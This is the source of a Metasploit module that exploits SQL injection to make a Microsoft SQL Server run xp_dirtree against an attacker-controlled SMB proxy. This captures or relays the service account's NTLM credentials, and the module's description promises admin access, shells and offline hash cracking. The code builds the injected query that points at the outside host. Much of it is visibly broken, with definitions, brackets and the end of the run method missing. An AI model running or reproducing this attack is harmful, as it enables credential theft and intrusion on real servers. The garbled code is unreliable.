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# This module requires Metasploit:
# Current source:
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL_SQLI
def initialize(info = {})
'Name' => 'Microsoft SQL Server SQLi NTLM Stealer',
'Description' => %q{
This module can be used to help capture or relay the LM/NTLM credentials of the
account running the remote SQL Server service. The module will use the SQL
injection from GET_PATH to connect to the target SQL Server instance and execute
the native "xp_dirtree" or stored procedure. The stored procedures will then
force the service account to authenticate to the system defined in the SMBProxy
option. In order for the attack to be successful, the SMB capture or relay module
must be running on the system defined as the SMBProxy. The database account used to
connect to the database should only require the "PUBLIC" role to execute.
Successful execution of this attack usually results in local administrative access
to the Windows system. Specifically, this works great for relaying credentials
between two SQL Servers using a shared service account to get shells. However, if
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
and john the ripper.
'Author' =>
'nullbind <scott.sutherland[at]>',
'Antti <antti.rantasaari[at]>'
'License' => MSF_LICENSE,
'Targets' =>
[ 'Automatic', { } ],
'DefaultTarget' => 0,
'References' => [[ 'URL', '' ]]
['SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '']),
def run
# Reminder
print_status("DONT FORGET to run a SMB capture or relay module!")
# Generate random file name
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
# Setup query - double escaping backslashes
sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")
# Execute query to force authentation from backend database to smbproxy